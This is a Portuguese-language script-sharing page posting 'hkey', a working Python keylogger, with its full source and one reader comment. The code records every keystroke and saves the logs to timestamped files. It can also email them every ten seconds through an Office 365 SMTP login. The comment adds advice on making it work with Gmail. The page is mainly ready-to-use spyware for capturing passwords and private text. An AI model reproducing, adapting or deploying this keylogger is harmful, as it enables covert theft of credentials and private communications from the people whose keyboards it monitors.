hkey - Keylogger de e-mail

Publicado por henrique (última atualização em 04/10/2022)

[ Hits: 3.844 ]

Homepage: naotem.com

Download hkey.py




Um keylogger de e-mail que pega todos os dados do teclado. Ele exibe e salva em um arquivo quando se esta no serviço de e-mail.
Não funciona no Gmail pois eles n permite q apps de terceiros loguem com e-mail e senha.

Não utilize de maneira ilegal.

  



Esconder código-fonte

#!/bin/python3
# -*- coding: utf-8 -*-
# BY: MRH

import keyboard
import smtplib 
from threading import Timer
from datetime import datetime
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from sys import argv 
red   = "\033[1;31m"
blue  = "\033[1;34m"
cyan  = "\033[1;36m"
green = "\033[0;32m"
reset = "\033[0;0m"
bold  = "\033[;1m"
reverse = "\033[;7m"
branco = "\033[37m"
gray = "\033[0;37m"
orange = "\033[0;49;33m"
yellow = "\033[0;49;93m"


def ini():
    print('-'* 63)
    print(red + """\n                                          
 |_|    |_|  |_|    |_|  |_|_|_|_|  |_|      |_|  
 |_|    |_|  |_|  |_|    |_|          |_|  |_|    
 |_|_|_|_||  |_|_|       |_|_|_|        |_|      
 |_|    |_|  |_|  |_|    |_|            |_|      
 |_|    |_|  |_|    |_|  |_|_|_|_|      |_|      
                                           
                                           """ + reset)
    if len(argv) != 3 or 'Hh' in argv:
        print(green + "exemplo de uso: ./hkey email password\n".capitalize() + reset)
def main():
    SEND_REPORT_EVERY = 10
    EMAIL_ADDRESS = argv[1]
    EMAIL_PASSWORD = argv[2]
    
    class Keylogger:
        def __init__(self, interval, report_method="email"):
            # we gonna pass SEND_REPORT_EVERY to interval
            self.interval = interval
            self.report_method = report_method
            # this is the string variable that contains the log of all 
            # the keystrokes within `self.interval`
            self.log = ""
            # record start & end datetimes
            self.start_dt = datetime.now()
            self.end_dt = datetime.now()

        def callback(self, event):
            """
            This callback is invoked whenever a keyboard event is occured
            (i.e when a key is released in this example)
            """
            name = event.name
            if len(name) > 1:
                # not a character, special key (e.g ctrl, alt, etc.)
                # uppercase with []
                if name == "space":
                    # " " instead of "space"
                    name = " "
                elif name == "enter":
                    # add a new line whenever an ENTER is pressed
                    name = "[ENTER]\n"
                elif name == "decimal":
                    name = "."
                else:
                    # replace spaces with underscores
                    name = name.replace(" ", "_")
                    name = f"[{name.upper()}]"
            # finally, add the key name to our global `self.log` variable
            self.log += name
        
        def update_filename(self):
            # construct the filename to be identified by start & end datetimes
            start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
            end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
            self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

        def report_to_file(self):
            """This method creates a log file in the current directory that contains
            the current keylogs in the `self.log` variable"""
            # open the file in write mode (create it)
            with open(f"{self.filename}.txt", "w") as f:
                # write the keylogs to the file
                print(self.log, file=f)
            print(yellow + f"[+] Saved {self.filename}.txt")

        def prepare_mail(self, message):
            """Utility function to construct a MIMEMultipart from a text
            It creates an HTML version as well as text version
            to be sent as an email"""
            msg = MIMEMultipart("alternative")
            msg["From"] = EMAIL_ADDRESS
            msg["To"] = EMAIL_ADDRESS
            msg["Subject"] = "Keylogger logs"
            # simple paragraph, feel free to edit
            html = f"<p>{message}</p>"
            text_part = MIMEText(message, "plain")
            html_part = MIMEText(html, "html")
            msg.attach(text_part)
            msg.attach(html_part)
            # after making the mail, convert back as string message
            return msg.as_string()

        def sendmail(self, email, password, message, verbose=1):
            # manages a connection to an SMTP server
            # in our case it's for Microsoft365, Outlook, Hotmail, and live.com
            server = smtplib.SMTP(host="smtp.office365.com", port=587)
            # connect to the SMTP server as TLS mode ( for security )
            server.starttls()
            # login to the email account
            server.login(email, password)
            # send the actual message after preparation
            server.sendmail(email, email, self.prepare_mail(message))
            # terminates the session
            server.quit()
            if verbose:
                print(f"{datetime.now()} - Sent an email to {email} containing:  {message}")

        def report(self):
            """
            This function gets called every `self.interval`
            It basically sends keylogs and resets `self.log` variable
            """
            if self.log:
                # if there is something in log, report it
                self.end_dt = datetime.now()
                # update `self.filename`
                self.update_filename()
                if self.report_method == "email":
                    self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
                elif self.report_method == "file":
                    self.report_to_file()
                    # if you don't want to print in the console, comment below line
                    print(f"[{self.filename}] - {self.log}")
                self.start_dt = datetime.now()
            self.log = ""
            timer = Timer(interval=self.interval, function=self.report)
            # set the thread as daemon (dies when main thread die)
            timer.daemon = True
            # start the timer
            timer.start()

        def start(self):
            # record the start datetime
            self.start_dt = datetime.now()
            # start the keylogger
            keyboard.on_release(callback=self.callback)
            # start reporting the keylogs
            self.report()
            # make a simple message
            print(red + f"{datetime.now()} - Started keylogger\n")
            # block the current thread, wait until CTRL+C is pressed
            keyboard.wait()

        
    if __name__ == "__main__":
        # if you want a keylogger to send to your email
        # keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")
        # if you want a keylogger to record keylogs to a local file 
        # (and then send it using your favorite method)
        keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
        keylogger.start()





try:
        ini()
        main()
except Exception as e:
        print(red + "Erro: " + str(e) + reset, '\n')
print('-' * 63)

Scripts recomendados

Conversor de String em Hex para String plana

Quebrador de links

Script em Python 3.6 para fazer scrape de uma URL exportando métricas no formato Prometheus

Checar valor do bitcoin de acordo com a exchange

Chatbot em Python


  

Comentários
[1] Comentário enviado por maurixnovatrento em 23/10/2022 - 16:59h


Para o gmail dá pra permitir acesso a aplicações menos seguras nas configurações. Pelo menos para testes próprio deve funcionar com gmail também.

___________________________________________________________
Conhecimento não se Leva para o Túmulo.
https://github.com/mxnt10


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts